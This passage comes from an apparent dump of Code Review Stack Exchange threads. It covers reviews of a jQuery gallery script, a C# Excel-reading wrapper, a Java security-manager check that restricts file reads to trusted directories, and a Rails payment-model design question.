$(close).on("click", function() {
$(this).parent().hide();
return false;
});
$(submt).on("click", function() {
$(popUpT).show();
});
});
}
function gallery(galObj, showNav, galOrient) {
$(galObj).each(function() {
var cGalObj = $(this);
//declaring gallery elements
var bigImgWrap = $(cGalObj).find(".gal .story");
var mask = $(cGalObj).find(".thumbnails");
var thumbsWrap = $(cGalObj).find(".thumbs");
var thumb = $(thumbsWrap).find("li");
var prev = $(cGalObj).find(".navGal .prev");
var nxt = $(cGalObj).find(".navGal .next");
var capHtml = $(thumb).find(".description").html();
var bigImgWrapEle = $(cGalObj).find(".dynamic");
var agentVidDesc = $(cGalObj).find(".videoDetails");
var btnG = $(cGalObj).find(".btn");
var thumbW = $(thumb).width() + 10;
var noOfThumbs = $(thumb).length;
var thumbsWrapW = noOfThumbs * thumbW;
var maskW = $(mask).width();
var secMoveCount = 0;
var noOfThumbSecsMoves = Math.floor(thumbsWrapW / maskW);
//declaring Vertical controls
var thumbH = $(thumb).height() + 10;
var thumbsWrapH = noOfThumbs * thumbH;
var maskH = $(mask).height();
var noOfThumbSecsMovesV = Math.floor(thumbsWrapH / maskH);
$(bigImgWrap).hide();
$(bigImgWrap[0]).show();
$(bigImgWrap).find(".description").html($(thumb).find(".description").eq(0).html());
$(bigImgWrapEle).attr("src", $(thumb).find("a").eq(0).attr("href"));
$(thumb[0]).parent().addClass('active');
$(thumb).find("a").off("click");
$(prev).off("click");
$(nxt).off("click");
$(prev).css("opacity", ".5");
$(agentVidDesc[0]).show();
$(agentVidDesc).addClass("active").html($(thumb).find(".description").eq(0).html());
$(thumb[0]).addClass('active');
if ($(cGalObj).hasClass("agentVideoGal")) {
$(thumb).find("a").on("click", function() {
$(thumb).removeClass('active');
$(this).parent().addClass('active');
capHtml = $(this).parent().find(".description").html();
$(agentVidDesc).html(capHtml);
$(bigImgWrapEle).attr("src", $(this).attr("href"));
return false;
});
$(btnG).on('click', function(event) {
event.preventDefault();
if ($(agentVidDesc).hasClass("active") != true) {
$(agentVidDesc).addClass("active").fadeIn('fast');
$(this).css("background-position", "0px 0 ");
} else {
$(agentVidDesc).removeClass("active").fadeOut('fast');
$(this).css("background-position", "-42px 0px");
}
});
} else {
$(thumb).find("a").on("click", function() {
$(thumb).find('a').removeClass('active');
$(this).parent().addClass('active');
capHtml = $(this).parent().find(".description").html();
$(bigImgWrap).find(".description").html(capHtml);
$(bigImgWrapEle).attr("src", $(this).attr("href"));
return false;
});
}
var opcP = function() {
if (secMoveCount > 0) {
$(prev).css("opacity", "1");
} else {
$(prev).css("opacity", ".5");
}
if (secMoveCount < noOfThumbSecsMoves) {
$(nxt).css("opacity", "1");
} else {
$(nxt).css("opacity", ".5");
}
}
$(thumbsWrap).width(thumbsWrapW);
if ($(cGalObj).hasClass("agentVideoGal") !== true) {
$(thumbsWrap).height(thumbsWrapH);
}
if ($(cGalObj).hasClass("vertical")) {
$(thumbsWrap).width("");
var thumbsWrapH = noOfThumbs / 2 * thumbH;
noOfThumbSecsMovesV = Math.floor(thumbsWrapH / maskH);
$(prev).on('click', function(event) {
var pos = $(thumbsWrap).position().top + maskH;
if (secMoveCount > 0) {
$(thumbsWrap).animate({
'top': (pos)
}, 1000, opcP)
secMoveCount--
}
return false;
});
$(nxt).on('click', function(event) {
var pos = $(thumbsWrap).position().top - maskH;
if (secMoveCount < noOfThumbSecsMovesV) {
$(thumbsWrap).animate({
'top': (pos)
}, 1000, function() {
if (secMoveCount < noOfThumbSecsMovesV) {
$(nxt).css("opacity", "1");
} else {
$(nxt).css("opacity", ".5");
}
if (secMoveCount > 0) {
$(prev).css("opacity", "1");
} else {
$(prev).css("opacity", ".5");
}
})
secMoveCount++
}
return false;
});
} else {
$(thumbsWrap).height("");
$(prev).on('click', function(event) {
var pos = $(thumbsWrap).position().left + maskW;
if (secMoveCount > 0) {
$(thumbsWrap).animate({
'left': (pos)
}, 1000, opcP)
secMoveCount--
}
return false;
});
$(nxt).on('click', function(event) {
var pos = $(thumbsWrap).position().left - maskW;
if (secMoveCount < noOfThumbSecsMoves) {
$(thumbsWrap).animate({
'left': (pos)
}, 1000, function() {
if (secMoveCount < noOfThumbSecsMoves) {
$(nxt).css("opacity", "1");
} else {
$(nxt).css("opacity", ".5");
}
if (secMoveCount > 0) {
$(prev).css("opacity", "1");
} else {
$(prev).css("opacity", ".5");
}
})
secMoveCount++
}
return false;
});
}
})
}
function validate() {
$("#commentsForm").validate({
rules: {
name: "required",
email: {
required: true,
email: true
},
captcha: "required"
},
messages: {
firstname: "Please enter your name",
email: "Please enter a valid email address",
captcha: "Please enter code shown in the image"
}
});
$("#ecForm").validate({
rules: {
name: "required",
contact: "required",
email: {
required: true,
email: true
},
message: "required",
captcha: "required"
},
messages: {
name: "Please enter your name",
contact: "Please enter your conatct number",
email: "Please enter a valid email address",
message: "Please enter a message",
captcha: "Please enter code shown in the image"
}
});
}
function mHover() {
var item = $(".tabCont ul li");
$(".mHover").css({
"top": 0
});
$(item).each(function() {
var cont = $(".mHover", this);
$(this).hover(function() {
$(cont).animate({
"top": -151
}, 300);
}, function() {
$(cont).animate({
"top": 0
}, 300);
})
})
}
$(document).ready(function() {
vid();
showHide();
gallery(".photoGalD");
gallery(".photoGalUpdate");
gallery(".vidgal");
gallery(".eventgal");
validate();
mHover();
$(".carousel-demo").owlCarousel({
items: 1,
navigation: true,
// Show next and prev buttons
slideSpeed: 300,
pagination: false,
singleItem: true
});
$(".carousel-demo.artCar").owlCarousel({
items: 1,
navigation: true,
// Show next and prev buttons
slideSpeed: 300,
pagination: false,
singleItem: true
});
$(".agentCategories .tabCont ul").owlCarousel({
items: 5,
navigation: true,
// Show next and prev buttons
slideSpeed: 300,
pagination: false,
singleItem: false
});
$(function() {
$('.scroll-pane').jScrollPane();
});
});
</code></pre>
<p>I've been learning jQuery for the last 2 years without technical background or education. I want to know my level of coding and what I can do to improve and optimize it. </p>
| [] | [
{
"body": "<h1><code>var</code> per variable</h1>\n\n<p>It's personal preference, but it's a practical preference. If you had something like this in the middle of the code:</p>\n\n<pre><code>var vid = $(\".videoBg\"),\nbtn = $(\".wVid\"),\nwrap = $(\".home\");\n</code></pre>\n\n<p>You would readily think \"Oh, new variable <code>vid</code> and an assigment to existing variables <code>btn</code> and <code>warp</code>\". But then you missed the commas. Also, it's easier to move around the variables if they have their own <code>var</code>.</p>\n\n<h1>Consider creating a jQuery plugin</h1>\n\n<pre><code>gallery(\".photoGalD\");\ngallery(\".photoGalUpdate\");\ngallery(\".vidgal\");\ngallery(\".eventgal\");\n</code></pre>\n\n<p>Not really that bad, but what if you could have done it like:</p>\n\n<pre><code>$('.class-common-to-gallery-elements').gallery()\n</code></pre>\n\n<p>Consider making it a jQuery plugin, no need to publish it online. jQuery plugins are, in leman's terms, self-contained, reusable units of code. Invest time learning how to make one.</p>\n\n<h1>Separate the config</h1>\n\n<p>I see you are using <code>owlCarousel</code>, but what if you needed more than just 3? Would you copy-paste the code? or just add a configuration, and all is set? I'd go for the latter, in this manner:</p>\n\n<pre><code>// Place configs here\nvar owlCarouselConfigs = {\n '.carousel-demo' : {\n items: 1,\n navigation: true,\n slideSpeed: 300,\n pagination: false,\n singleItem: true\n },\n '.carousel-demo.artCar' : {\n items: 1,\n navigation: true,\n slideSpeed: 300,\n pagination: false,\n singleItem: true\n },\n ...\n}\n\n// Execute\n$.each(owlCarouselConfigs,function(selector,config){\n $(selector).owlCarousel(config);\n});\n</code></pre>\n\n<p>Same could be applied to <code>validate</code></p>\n\n<h1>Break apart code</h1>\n\n<p>Usually, in a jQuery plugin, I do this (see <a href=\"http://jqueryboilerplate.com/\" rel=\"nofollow\">jQuery Boilerplate</a> for the structure):</p>\n\n<pre><code>;(function ($, window, document, undefined) {\n\n // Plugin defaults\n var pluginName = \"gallery\",\n defaults = {\n propertyName: \"value\"\n };\n\n // Plugin constructor and prototype\n function Plugin(element, options) {\n // Configure instance properties and configurations\n this.element = element;\n this.settings = $.extend({}, defaults, options);\n this._defaults = defaults;\n this._name = pluginName;\n // Initialize the plugin\n this.init()\n }\n Plugin.prototype = {\n init: function () {\n // Here, I call out some stuff related to setups in UI, AJAX etc.\n this.setups();\n this.someMoreSetups();\n },\n // Functionality is broken off into their own functions\n setups: function () {\n // calling other functions in a function\n this.anAjaxFunction();\n },\n someMoreSetups: function () {...\n },\n anAjaxFunction: function () {...\n },\n };\n\n // Standard plugin stuff. Don't touch.\n $.fn[pluginName] = function (options) {\n this.each(function () {\n if (!$.data(this, \"plugin_\" + pluginName)) {\n $.data(this, \"plugin_\" + pluginName, new Plugin(this, options))\n }\n });\n return this\n }\n})(jQuery, window, document);\n\n$('.myElement').gallery();\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T13:04:11.920",
"Id": "82746",
"Score": "0",
"body": "I think most style-guides go for 1 var statement."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T14:10:20.463",
"Id": "82761",
"Score": "0",
"body": "@konijn I thought it was cool too, until I move around variables and broke the code a lot."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T14:10:26.933",
"Id": "82762",
"Score": "0",
"body": "well I appreciate the help, thanks... but can you be more precise about what you want to convey... one of my friend suggested me to divide the whole gallery functions in to the chunks of code and keep them as seperate function and then call those functions Inside the gallery() with parameters and objects to pass through it... but I was unable to do that... can some one help with that"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T14:18:44.937",
"Id": "82763",
"Score": "1",
"body": "@shaikhuu added how I do jQuery plugins."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-16T07:57:55.433",
"Id": "82896",
"Score": "0",
"body": "@Joseph the Dreamer yes u did but I m not that expert to understand it... reaching only intermediate level... needed guidance.... thanks for your answer... really appreciate your help.."
}
],
"meta_data": {
"CommentCount": "5",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T12:40:04.770",
"Id": "47231",
"ParentId": "47223",
"Score": "5"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T11:25:46.343",
"Id": "47223",
"Score": "6",
"Tags": [
"javascript",
"optimization",
"jquery"
],
"Title": "Three layout Gallery"
} | 47223 |
<p>Objective:</p>
<p>I want to import an Excel file, and read the rows of certain columns. For this, I use <code>ExcelDataReader</code>. I've implemented a low-level class called <code>ExcelData</code> which uses the <code>ExcelDataReader</code> and does things like figuring out if it is an ".xls" of ".xslx" file (or maybe something completely unrelated!) etc. On top of that class I made a <code>ReadInData</code> class, which will get the specific columns I want from the Excel sheet.</p>
<p>Major concerns:</p>
<ul>
<li>The list of catches in my main program</li>
<li>Throwing of exceptions</li>
<li>The overall construction of the code and code quality</li>
<li>Should I encapsulate my <code>ExcelData</code> class within <code>ReadInData</code>, or keep it like it is?</li>
<li>Passing of the <code>isFirstRowAsColumnNames</code> parameter</li>
</ul>
<p>Because this is code for a company, I changed the names of a couple of classes, so I know they aren't the best of names.</p>
<p>The entry point of my code:</p>
<pre><code>class Program
{
static void Main(string[] args)
{
try
{
ReadInData readInData = new ReadInData(@"C:\SC.xlsx", "sc_2014");
IEnumerable<Recipient> recipients = readInData.GetData();
}
catch (FileNotFoundException ex)
{
Console.WriteLine(ex.Message);
}
catch (ArgumentException ex)
{
Console.WriteLine(ex.Message);
}
catch (WorksheetDoesNotExistException ex)
{
Console.WriteLine(ex.Message);
}
catch (FileToBeProcessedIsNotInTheCorrectFormatException ex)
{
Console.WriteLine(ex.Message);
}
Console.ReadLine();
}
}
</code></pre>
<p>In this code I create a new <code>ReadInData</code> class, to which I pass the path, the name of the file and the name of the Excel sheet that I want to read.</p>
<p>Concern here: is it okay to pass those things within that file?</p>
<p>The <code>ReadInData</code> class:</p>
<pre><code>public class ReadInData
{
private string path;
private string worksheetName;
public ReadInData(string path, string worksheetName)
{
this.path = path;
this.worksheetName = worksheetName;
}
public IEnumerable<Recipient> GetData(bool isFirstRowAsColumnNames = true)
{
var excelData = new ExcelData(path);
var dataRows = excelData.GetData(worksheetName, isFirstRowAsColumnNames);
return dataRows.Select(dataRow => new Recipient()
{
Municipality = dataRow["Municipality"].ToString(),
Sexe = dataRow["Sexe"].ToString(),
LivingArea = dataRow["LivingArea"].ToString()
}).ToList();
}
}
</code></pre>
<p>Basically, I figured that I needed a class on top of the <code>ExcelData</code> class, because it seemed somewhat higher level.</p>
<p>The <code>ExcelData</code> class:</p>
<pre><code>public class ExcelData
{
private string path;
public ExcelData(string path)
{
this.path = path;
}
private IExcelDataReader GetExcelDataReader(bool isFirstRowAsColumnNames)
{
using (FileStream fileStream = File.Open(path, FileMode.Open, FileAccess.Read))
{
IExcelDataReader dataReader;
if (path.EndsWith(".xls"))
{
dataReader = ExcelReaderFactory.CreateBinaryReader(fileStream);
}
else if (path.EndsWith(".xlsx"))
{
dataReader = ExcelReaderFactory.CreateOpenXmlReader(fileStream);
}
else
{
//Throw exception for things you cannot correct
throw new FileToBeProcessedIsNotInTheCorrectFormatException("The file to be processed is not an Excel file");
}
dataReader.IsFirstRowAsColumnNames = isFirstRowAsColumnNames;
return dataReader;
}
}
private DataSet GetExcelDataAsDataSet(bool isFirstRowAsColumnNames)
{
return GetExcelDataReader(isFirstRowAsColumnNames).AsDataSet();
}
private DataTable GetExcelWorkSheet(string workSheetName, bool isFirstRowAsColumnNames)
{
DataSet dataSet = GetExcelDataAsDataSet(isFirstRowAsColumnNames);
DataTable workSheet = dataSet.Tables[workSheetName];
if (workSheet == null)
{
throw new WorksheetDoesNotExistException(string.Format("The worksheet {0} does not exist, has an incorrect name, or does not have any data in the worksheet", workSheetName));
}
return workSheet;
}
public IEnumerable<DataRow> GetData(string workSheetName, bool isFirstRowAsColumnNames = true)
{
DataTable workSheet = GetExcelWorkSheet(workSheetName, isFirstRowAsColumnNames);
IEnumerable<DataRow> rows = from DataRow row in workSheet.Rows
select row;
return rows;
}
}
</code></pre>
<p>And finally, the <code>Recipient</code> class (which does nothing special):</p>
<pre><code>namespace ConsoleApplicationForTestingPurposes
{
public class Recipient
{
public string Municipality { get; set; }
public string Sexe { get; set; }
public string LivingArea { get; set; }
}
}
</code></pre>
<p>The exception classes inherit from <code>Exception</code>, and just pass a message to Exception.</p>
| [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T12:43:58.537",
"Id": "82740",
"Score": "3",
"body": "This code does not work with all Excel-files... Keep in mind there are also some other EXCEL-File endings. `\".xlsm\"` and `\".xlsb\"`, as well as the template types..."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-16T07:08:53.960",
"Id": "82884",
"Score": "0",
"body": "@Vogel612 Thanks, I will take it into account!"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2016-04-29T01:24:30.333",
"Id": "237415",
"Score": "0",
"body": "This was helpful. We had code that just used the OpenXml one, which threw an exception the first time someone tried to use .xls (years after first implemenation). Then the first attempt at fixing it didn't work, because it just tried the binary reader after the first reader was invalid, but that ruined the stream. Checking the extension first fixed it."
}
] | [
{
"body": "<p>Simplify your catch-chain</p>\n\n<pre><code>static void Main(string[] args)\n{\n try\n {\n ReadInData readInData = new ReadInData(@\"C:\\SC.xlsx\", \"sc_2014\");\n IEnumerable<Recipient> recipients = readInData.GetData();\n }\n catch (Exception ex)\n {\n if(!(ex is FileNotFoundException || ex is ArgumentException || ex is FileToBeProcessedIsNotInTheCorrectFormatException))\n throw;\n Console.WriteLine(ex.Message);\n }\n Console.Write(Press any key to continue...);\n Console.ReadKey(true);\n}\n</code></pre>\n\n<hr>\n\n<p>I see no reason to have <code>ReadInData</code> be a non-static class. You are not taking advantage of the fact that you are remembering the path and worksheet name, and you aren't keeping some sort of open connection to the workbook. And always feel free to make your code look more complex by removing variables that are only being used once (optional). There is no reason to <code>ToList()</code> this, because you are returning an <code>IEnumerable<T></code> anyway.</p>\n\n<pre><code>public static class ReadInData\n{\n public static IEnumerable<Recipient> GetData(string path, string worksheetName, bool isFirstRowAsColumnNames = true)\n {\n return new ExcelData(path).GetData(worksheetName, isFirstRowAsColumnNames)\n .Select(dataRow => new Recipient()\n {\n Municipality = dataRow[\"Municipality\"].ToString(),\n Sexe = dataRow[\"Sexe\"].ToString(),\n LivingArea = dataRow[\"LivingArea\"].ToString()\n });\n }\n}\n</code></pre>\n\n<hr>\n\n<p>You can do this same thing for your <code>ExcelData</code> class, that is.. making these functions instead of methods on a class. You don't have to, but again, you aren't taking much advantage of the OO, so there is need for you to make it OO.</p>\n\n<hr>\n\n<p>If you don't want/need someone using your <code>ExcelData</code> class, than encapsulate it. However I feel that you will at some point want to be able to re-use this excel reader, in which case I would move these methods into a Static <code>ExcelHelperClass</code>. And your first class <code>ReadInData</code> I would just make a method in your original program.</p>\n\n<pre><code>private static IExcelDataReader GetExcelDataReader(string path, bool isFirstRowAsColumnNames)\n{\n using (FileStream fileStream = File.Open(path, FileMode.Open, FileAccess.Read))\n {\n IExcelDataReader dataReader;\n\n if (path.EndsWith(\".xls\"))\n dataReader = ExcelReaderFactory.CreateBinaryReader(fileStream);\n else if (path.EndsWith(\".xlsx\"))\n dataReader = ExcelReaderFactory.CreateOpenXmlReader(fileStream);\n else\n throw new FileToBeProcessedIsNotInTheCorrectFormatException(\"The file to be processed is not an Excel file\");\n\n dataReader.IsFirstRowAsColumnNames = isFirstRowAsColumnNames;\n return dataReader;\n }\n}\n\nprivate static DataSet GetExcelDataAsDataSet(string path, bool isFirstRowAsColumnNames)\n{\n return GetExcelDataReader(path, isFirstRowAsColumnNames).AsDataSet();\n}\n\nprivate static DataTable GetExcelWorkSheet(string path, string workSheetName, bool isFirstRowAsColumnNames)\n{\n DataTable workSheet = GetExcelDataAsDataSet(path, isFirstRowAsColumnNames).Tables[workSheetName];\n if (workSheet == null)\n throw new WorksheetDoesNotExistException(string.Format(\"The worksheet {0} does not exist, has an incorrect name, or does not have any data in the worksheet\", workSheetName));\n return workSheet;\n}\n\nprivate static IEnumerable<DataRow> GetData(string path, string workSheetName, bool isFirstRowAsColumnNames = true)\n{\n return from DataRow row in GetExcelWorkSheet(path, workSheetName, isFirstRowAsColumnNames).Rows select row;\n}\n</code></pre>\n\n<hr>\n\n<p>As mentioned in the comments, you are not accounting for all Excel filetypes.</p>\n\n<hr>\n\n<p>If it wasn't for the <code>bool isFirstRowAsColumnNames</code> I would suggest you actually go forward with the whole OOP thing, and have the workbook load when you construct it, and take advantage of OO design by actually having internal data besides just the path. I do think its is fine that you give them the option to specify <code>isFirstRowAsColumnNames</code>, that could be very handy.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-16T06:59:20.310",
"Id": "82883",
"Score": "0",
"body": "First off, thank you very much for your time in putting together what could be improved about my code. I have a couple of questions though; the first one being that I'm not sure what you meant with \"And your first class ReadInData I would just make a method in your original program.\" The second thing is, that I'm also not really sure what you meant with the first sentence of your last paragraph. Are you saying that if I wouldn't have the isFirstRowAsColumnNames parameter, I could keep my code more or less the ways it was? If so, why would it depend on that?"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T14:05:49.280",
"Id": "47246",
"ParentId": "47227",
"Score": "8"
}
}
] | {
"AcceptedAnswerId": "47246",
"CommentCount": "3",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T12:14:59.560",
"Id": "47227",
"Score": "14",
"Tags": [
"c#",
"exception-handling",
"io",
"excel"
],
"Title": "Reading data from Excel sheet with ExcelDataReader"
} | 47227 |
<p>I have a security manager I'm writing for a Java program, and within the checkRead method, I wish to only allow reads to files within a given directory.</p>
<p>The basis of it is that it will get a canonical file for the input (which is actually a string as per the method contract). It will then begin taking the file's parent repeatedly until it either matches one of the trusted directories, or becomes <code>null</code> (from trying to take the parent of the root directory). This check should be secure both on Unix/linux and Windows environments and styles of filenames. I don't need 100% certainty that a valid and allowed, but mangled or non-standard path would pass, but I certainly cannot rework the program's API to open files in a different, more secure manner, as my application's classloader needs to use this method to check its reads. </p>
<p>Are there any glaring issues (security or style) that anyone might see here?</p>
<pre><code>File tested;
try {
tested = new File(file).getCanonicalFile();
} catch (IOException e1) {
throw new SecurityException(
"The basedir resolution failed to resolve.");
}
File parentFile = tested;
while (parentFile != null) {
if (basedir.equals(parentFile) || classDir.equals(parentFile)) {
return;
}
parentFile = parentFile.getParentFile();
}
logger.warn("MosstestSecurityManager stopped an attempt to read a file from non-core code"
+ file);
throw new SecurityException(
"MosstestSecurityManager stopped an attempt to read a file from non-core code");
</code></pre>
| [] | [
{
"body": "<h1>Nit-Picks</h1>\n\n<p>This exception-handling code should include the IOException as part of the SecurityException re-throw:</p>\n\n<pre><code>try {\n tested = new File(file).getCanonicalFile();\n} catch (IOException e1) {\n // set the cause of the SecurityException so that users can potentially fix things\n throw new SecurityException(\n \"The basedir resolution failed to resolve.\", e1);\n}\n</code></pre>\n\n<h1>General</h1>\n\n<p>I believe the rest of the code supplies the required functionality. There are odd cases where, for example, on Linux you can remount a sub-directory at a different mount point. These two distinct file-systems may mirror each other, and a file/directory in one mount-point is identical to the other mount point.</p>\n\n<p>This may produce false-positives in your code (where your code will claim the directory is not allowed, but it actually is...). False-positives in 'edge cases' in a security situation are better than false-negatives.</p>\n\n<p>The intricacies of the new-in-Java-7 NIO2 Path class/interface may help with this. You could translate your <code>File</code> instances in to <code>Path</code> instances, and then use the <a href=\"http://docs.oracle.com/javase/7/docs/api/java/nio/file/Files.html#isSameFile%28java.nio.file.Path,%20java.nio.file.Path%29\" rel=\"noreferrer\">isSameFile(...) method</a>... which may, or may not help (reading the documentation it is unclear, and I do not have direct experience with that).</p>\n\n<h2>Update .... more Paths:</h2>\n\n<p>Using the <code>Path</code> and <a href=\"http://docs.oracle.com/javase/7/docs/api/java/nio/file/Path.html#toRealPath%28java.nio.file.LinkOption...%29\" rel=\"noreferrer\">other NIO2 features</a>, your code could probably be reduced to:</p>\n\n<pre><code>// basePath is already resolved as a Path.realPath from basedir\n// classPath is already resolved as a Path.realPath from classDir\nPath filePath = file.topath().realpath();\nif (!filePath.startsWith(basePath) || !filePath.startsWith(classPath) {\n // illegal file access....\n throw new SecurityException(.....);\n}\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T13:44:29.307",
"Id": "82753",
"Score": "0",
"body": "Thanks for the feedback. Both answers seem to have good recommendations on nit-picks to fix."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-04-12T09:41:01.993",
"Id": "471470",
"Score": "0",
"body": "Please note an important caveat of real paths: In contrast to to `File` a \"real\" `Path` has to correspond to a file on the filesystem (i.e. the file hast to exist). It's probably better to use `toAbsolutePath().normalize()`."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T13:23:01.957",
"Id": "47235",
"ParentId": "47233",
"Score": "6"
}
},
{
"body": "<p>It's a bit hard without the full context of the method (or even the entire class), but it looks like this will have the functionality you want (assuming <code>basedir</code> and <code>classDir</code> are the two \"safe\" directories that you're checking for). I have a couple of tips for improvements, though they're not major.</p>\n\n<p>Your set up for <code>tested</code> and <code>parentFile</code> seems a bit more convoluted than it needs to be (again, this could be because of the method's surrounding context, though). There's no need to even hold a reference to <code>tested</code>, it seems like. You can do something like the following:</p>\n\n<pre><code>File parentFile = null;\ntry {\n parentFile = new File(file).getCanonicalFile();\n} catch(IOException ioe) {\n throw new SecurityException(\"The base directory failed to resolve.\")\n}\n\nwhile(parentFile != null) {\n //The rest of your code\n</code></pre>\n\n<p>Notice that I also didn't break the <code>throw new SecurityException</code> line into multiple. This is based on your subsequent lines, which show that you're willing to have content out past its character limit. No need to perform unnecessary line breaks. It just makes the code muddier. I also reworded it, since \"resolution failed to resolve\" is a bit redundant.</p>\n\n<p>Also, if you're checking against multiple files, I would use a <code>List</code> of them. This will make it easier for you to tack on functionality later, if you need to. e.g.,</p>\n\n<pre><code>List<File> safeDirectories = Arrays.asList(baseDirectory, classDirectory);\n// ... Then, elsewhere ...\nif(safeDirectories.contains(parentFile)) //...\n</code></pre>\n\n<p>Finally (<em>minor thing</em>), rename <code>basedir</code> as either <code>baseDir</code> or <code>baseDirectory</code>. This will let it follow the <em>camelCase</em> format and be more descriptive.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T13:45:07.580",
"Id": "82754",
"Score": "0",
"body": "Thanks for the feedback. Both answers seem to have good recommendations on nit-picks to fix."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T13:24:49.473",
"Id": "47236",
"ParentId": "47233",
"Score": "5"
}
},
{
"body": "<p>To be confident about your method, add some unit tests, for example:</p>\n\n<pre><code>// given:\n// File basedir = new File(\"c:/work/tmp/base\");\n// File classDir = new File(\"c:/work/tmp/class\");\n\n@Test(expected = SecurityException.class)\npublic void testAboveParentFails() {\n checkRead(\"c:/work/tmp\");\n}\n\n@Test(expected = SecurityException.class)\npublic void testUnrelatedFails() {\n checkRead(\"c:/blah\");\n}\n\n@Test(expected = SecurityException.class)\npublic void testNearbyFails() {\n checkRead(\"c:/work/tmp/base2\");\n}\n\n@Test\npublic void testValid() {\n checkRead(\"c:/work/tmp/base\");\n checkRead(\"c:/work/tmp/class\");\n checkRead(\"c:/work/tmp/class/hello\");\n checkRead(\"c:/work/tmp/class/hello/asd/asdads\");\n}\n</code></pre>\n\n<p>Try to cover all corner cases you can think of.</p>\n\n<hr>\n\n<p>I don't see the point of this check:</p>\n\n<pre><code>try {\n tested = new File(file).getCanonicalFile();\n} catch (IOException e1) {\n throw new SecurityException(\n \"The basedir resolution failed to resolve.\");\n}\n</code></pre>\n\n<p>Given the unit tests above (none of those paths exist in my system btw), the tests still pass even if I remove this code block. I think you can delete it.</p>\n\n<hr>\n\n<p>I think you can simplify the main part of your method like this:</p>\n\n<pre><code>List<File> secureDirs = Arrays.asList(basedir, classDir);\nFile file = new File(path);\ndo {\n if (secureDirs.contains(file)) {\n return;\n }\n file = file.getParentFile();\n} while (file != null);\n</code></pre>\n\n<p>The thing is, when you create a file with <code>new File</code> it will never be <code>null</code>. Btw <code>path</code> cannot be <code>null</code> either, your original implementation would fail with that too.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T13:48:28.747",
"Id": "47241",
"ParentId": "47233",
"Score": "3"
}
}
] | {
"AcceptedAnswerId": "47236",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T13:04:37.250",
"Id": "47233",
"Score": "8",
"Tags": [
"java",
"security",
"file"
],
"Title": "Checking if file is within a directory for security"
} | 47233 |
<p>I'm trying to manage several means of payment in my Rails 3.2 application.</p>
<p>Let's say I have 2 means : Credit Cards & Bank Transfers (BIC), working with 2 different payment providers. Those means both contain a reference string that will be sent to the payment provider to trigger new payments later.
Each means also contains specific information. This is why I'm thinking about creating 2 models (a CreditCard one and a Bic one). And I would like to link both models to the User model.</p>
<p>A single user can have for example 2 credit cards and 1 BIC so there must be at least a have_many association.
I don't want my user model to have too many different associations, but I want it to have the same behavior for each kind of payment mean. I though about using the Single Table Inheritance but I previously had a bad experience with the combo "STI + associations" and I lost a lot of time.</p>
<p>So, my solution to that problem would be to make an intermediate model PaymentMean that would:</p>
<ol>
<li><p>belong to User </p></li>
<li><p>be associated to both CreditCard and Bic with a polymorphic "belongs_to" association</p></li>
</ol>
<p>as follows:</p>
<pre><code>class User < ActiveRecord::Base
has_many :payment_means
end
class PaymentMean < ActiveRecord::Base
belongs_to :user
belongs_to :payment, polymorphic: true
end
class CreditCard < ActiveRecord::Base
has_one :payment_mean, as: :payment
end
class Bic < ActiveRecord::Base
has_one :payment_mean, as: :payment
end
</code></pre>
<p>What do you think about it ? Should I try to use STI (if so, HOW ?) or is this model viable ? Or is there any other solution ?</p>
| [] | [
{
"body": "<p>First: \"Means\" is uncountable in English; it's always plural. So the model should be called <code>PaymentMeans</code>, and associations should be <code>has_many :payment_means</code> and <code>has_one :payment_means</code>. You can set that up in Rails' inflections config (or just call it \"payment type\" or something).</p>\n\n<p>Anyway, I would definitely consider STI for this, depending on how similar the models really are. It really all depends on that. The more they have in common, the better suited an STI solution will be. As far as I can tell, there shouldn't be any major pitfalls. However, you've only said they \"contain specific information\" but without knowing what exactly that entails, it's hard to know if it'd overburden an STI approach.</p>\n\n<p>Alternatively, if they have little in common beyond the reference string, your current solution seems fine, but it does add an extra association and thus extra complexity.</p>\n\n<p>If you're adamant about avoiding STI, I'd think you can skip the <code>PaymentMean</code> (sic) model, and simply make the polymorphic association directly to the <code>User</code> model:</p>\n\n<pre><code>class User\n belongs_to :payment_means, polymorphic: true # can be CreditCard or Bic\nend\n</code></pre>\n\n<p>You can then extract <a href=\"http://blog.codeclimate.com/blog/2012/10/17/7-ways-to-decompose-fat-activerecord-models/\" rel=\"nofollow\">a service object</a> to handle the things you'd currently handle with the <code>PaymentMean</code> model (in fact, you could consider this, regardless of how your models are otherwise set up).</p>\n\n<p>Of course it seems semantically awkward to say that a \"User belongs to their Payment Means\" (although that's how banks probably think), so once again your current solution or STI might be better suited.</p>\n\n<p>Lastly, you could reduce your payment means model to just the bare necessities, and keep everything else in a serialized attribute (i.e. a hash). Of course this would likely entail writing a custom validator or similar busywork, but it would be very flexible. It still is a \"last resort\" solution, though.</p>\n",
"comments": [
{
